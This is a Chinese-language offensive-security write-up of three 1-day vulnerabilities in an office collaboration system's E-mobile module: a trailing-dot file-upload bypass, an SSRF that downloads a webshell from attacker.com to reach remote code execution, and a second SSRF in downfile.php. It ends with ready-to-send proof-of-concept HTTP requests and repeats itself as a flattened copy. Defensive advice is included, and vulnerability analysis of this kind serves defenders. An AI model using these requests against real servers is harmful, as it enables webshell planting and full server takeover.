【攻防演练】某协同办公系统多个1day分析过程
字数 1394 2025-08-06 20:12:46

某协同办公系统多个1day漏洞分析与利用教学文档

0x01 任意文件上传漏洞

1.1 漏洞分析

漏洞位置:E-mobile/App/Ajax/ajax.php 文件

漏洞类型:后缀过滤绕过导致的任意文件上传

代码逻辑分析

  1. 上传文件赋值:$photo = $_FILES["upload_quwan"];
  2. 获取文件后缀:$ext_temp = path_info($photo["name"]);
  3. 后缀校验逻辑存在缺陷:
    • 仅检查后缀是否在黑名单中
    • 未考虑后缀为空的情况(如123.php.
  4. 拼接路径完成上传

1.2 漏洞利用方法

利用条件

  • 系统运行在Windows环境下(Linux下无效)
  • 上传接口可访问

利用步骤

  1. 构造上传请求,使用特殊后缀绕过:
    • 例如:shell.php.(注意最后的点)
  2. 直接发送请求到:action=mobile_upload_save

注意事项

  • 该绕过方法利用了Windows的文件名解析特性
  • Linux系统下此方法无效

0x02 全回显SSRF可导致RCE

2.1 漏洞分析

漏洞位置:同一文件ajax.php中的action=dingtalkImg分支

漏洞形成过程

  1. 获取result参数并传入GrabImage函数
  2. GrabImage函数执行流程:
    • 从URL获取文件名
    • 打开URL读取图片流
    • 打开文件并写入图片流
  3. 全程无任何文件后缀校验

漏洞影响

  • 全回显SSRF(服务器端请求伪造)
  • 可导致远程代码执行(RCE)

2.2 漏洞利用方法

利用步骤

  1. 在可控服务器上搭建Web服务
  2. 将恶意代码文件(如PHP webshell)放入Web目录
  3. 构造请求:
    action=dingtalkImg&result=http://attacker.com/malicious.php
    
  4. 系统会下载并保存恶意文件

2.3 类似漏洞接口

  • action=outSignImg 分支存在相同漏洞

0x03 回显SSRF漏洞

3.1 漏洞分析

漏洞位置:/E-mobile/App/System/File/downfile.php

漏洞形成过程

  1. 参数赋值:
    $fileurl = $_REQUEST["url"];
    $rooturl = "http://".$_SERVER['HTTP_HOST'];
    $checkurl = explode("/", $fileurl);
    
  2. URL拼接逻辑:
    • $checkurl包含特定字符时,拼接指定URL
    • 否则直接拼接:$url = $rooturl.$fileurl
  3. 使用file_get_content获取URL内容,造成SSRF

3.2 漏洞利用方法

两种利用方式

  1. 方法一

    url=@butian.net
    
  2. 方法二

    • 修改请求头中的Host字段:
      Host: butian.net
      

总结与防御建议

漏洞总结表

漏洞类型 位置 利用条件 影响
任意文件上传 ajax.php Windows系统 服务器控制
全回显SSRF+RCE ajax.php 服务器控制
回显SSRF downfile.php 信息泄露、内网探测

防御建议

  1. 文件上传防御

    • 实施严格的白名单后缀校验
    • 检查空后缀情况
    • 限制上传目录的执行权限
  2. SSRF防御

    • 禁用危险的PHP函数(如file_get_contents)
    • 实施URL白名单机制
    • 验证用户提供的URL
  3. 通用防御

    • 输入验证和过滤
    • 最小权限原则
    • 定期安全审计

附录:漏洞验证POC

任意文件上传POC

POST /E-mobile/App/Ajax/ajax.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary12345

------WebKitFormBoundary12345
Content-Disposition: form-data; name="action"

mobile_upload_save
------WebKitFormBoundary12345
Content-Disposition: form-data; name="upload_quwan"; filename="shell.php."
Content-Type: text/plain

<?php phpinfo();?>
------WebKitFormBoundary12345--

SSRF+RCE POC

GET /E-mobile/App/Ajax/ajax.php?action=dingtalkImg&result=http://attacker.com/shell.php HTTP/1.1
Host: target.com

回显SSRF POC

GET /E-mobile/App/System/File/downfile.php?url=@internal.service HTTP/1.1
Host: target.com
某协同办公系统多个1day漏洞分析与利用教学文档 0x01 任意文件上传漏洞 1.1 漏洞分析 漏洞位置: E-mobile/App/Ajax/ajax.php 文件 漏洞类型:后缀过滤绕过导致的任意文件上传 代码逻辑分析 : 上传文件赋值: $photo = $_FILES["upload_quwan"]; 获取文件后缀: $ext_temp = path_info($photo["name"]); 后缀校验逻辑存在缺陷: 仅检查后缀是否在黑名单中 未考虑后缀为空的情况(如 123.php. ) 拼接路径完成上传 1.2 漏洞利用方法 利用条件 : 系统运行在Windows环境下(Linux下无效) 上传接口可访问 利用步骤 : 构造上传请求,使用特殊后缀绕过: 例如: shell.php. (注意最后的点) 直接发送请求到: action=mobile_upload_save 注意事项 : 该绕过方法利用了Windows的文件名解析特性 Linux系统下此方法无效 0x02 全回显SSRF可导致RCE 2.1 漏洞分析 漏洞位置:同一文件 ajax.php 中的 action=dingtalkImg 分支 漏洞形成过程 : 获取 result 参数并传入 GrabImage 函数 GrabImage 函数执行流程: 从URL获取文件名 打开URL读取图片流 打开文件并写入图片流 全程无任何文件后缀校验 漏洞影响 : 全回显SSRF(服务器端请求伪造) 可导致远程代码执行(RCE) 2.2 漏洞利用方法 利用步骤 : 在可控服务器上搭建Web服务 将恶意代码文件(如PHP webshell)放入Web目录 构造请求: 系统会下载并保存恶意文件 2.3 类似漏洞接口 action=outSignImg 分支存在相同漏洞 0x03 回显SSRF漏洞 3.1 漏洞分析 漏洞位置: /E-mobile/App/System/File/downfile.php 漏洞形成过程 : 参数赋值: URL拼接逻辑: 当 $checkurl 包含特定字符时,拼接指定URL 否则直接拼接: $url = $rooturl.$fileurl 使用 file_get_content 获取URL内容,造成SSRF 3.2 漏洞利用方法 两种利用方式 : 方法一 : 方法二 : 修改请求头中的Host字段: 总结与防御建议 漏洞总结表 | 漏洞类型 | 位置 | 利用条件 | 影响 | |---------|------|---------|------| | 任意文件上传 | ajax.php | Windows系统 | 服务器控制 | | 全回显SSRF+RCE | ajax.php | 无 | 服务器控制 | | 回显SSRF | downfile.php | 无 | 信息泄露、内网探测 | 防御建议 文件上传防御 : 实施严格的白名单后缀校验 检查空后缀情况 限制上传目录的执行权限 SSRF防御 : 禁用危险的PHP函数(如file_ get_ contents) 实施URL白名单机制 验证用户提供的URL 通用防御 : 输入验证和过滤 最小权限原则 定期安全审计 附录:漏洞验证POC 任意文件上传POC SSRF+RCE POC 回显SSRF POC